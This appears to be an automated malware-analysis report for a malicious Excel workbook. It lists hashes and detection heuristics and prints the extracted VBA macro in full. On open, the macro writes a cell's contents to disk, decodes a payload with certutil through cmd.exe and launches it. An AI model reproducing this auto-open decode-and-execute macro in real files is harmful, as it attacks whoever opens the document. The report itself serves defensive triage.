Office (OOXML) malware analysis — malicious · c88401f8ce4fb027

MALICIOUS

Office (OOXML)

47.2 KB Created: 2020-10-14 14:35:30 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-11-12

MD5: 8104813b27ae8cbc5cb5e35d946a654e SHA-1: 88453c6c32a272c423a289f22d011dad9af0dc68 SHA-256: c88401f8ce4fb02791f129c0a8873e09be509818fbc243f848ca340f4208eb4a

270 Risk Score

Heuristics 8

VBA project inside OOXML medium 6 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
Shell "cmd.exe /c certutil -decode cplusconsole.txt cplusconsole3.jpg"
```
LOLBin reference in VBA critical OLE_VBA_LOLBIN

LOLBin reference in VBA
Matched line in script
```
Shell "cmd.exe /c certutil -decode cplusconsole.txt cplusconsole3.jpg"
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set fs = CreateObject("Scripting.FileSystemObject")
```
cmd.exe reference in VBA high OLE_VBA_CMD

cmd.exe reference in VBA
Matched line in script
```
Shell "cmd.exe /c certutil -decode cplusconsole.txt cplusconsole3.jpg"
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	1096 bytes
SHA-256: `18ed9d2ae60aaa2552475f146877ca8c5c5d5aa609e2806b3fa2832d1299b1ae`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "book1" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Dim str As String str = Range("A1").Value Set fs = CreateObject("Scripting.FileSystemObject") Set a = fs.CreateTextFile("cplusconsole111.jpg", True) a.WriteLine str a.Close Shell "cmd.exe /c certutil -decode cplusconsole.txt cplusconsole3.jpg" Do While True If Dir("cplusconsole3.jpg") <> "" Then MsgBox "file exists" Shell "cmd.exe /c start cplusconsole.jpg" Exit Do End If Loop End Sub Attribute VB_Name = "list1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Module1"
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	154624 bytes
SHA-256: `3abeb08c8d7ae946fd0335ce21cf4bec4f06d45557f7e449608fc14842fc4e4f`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 128 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.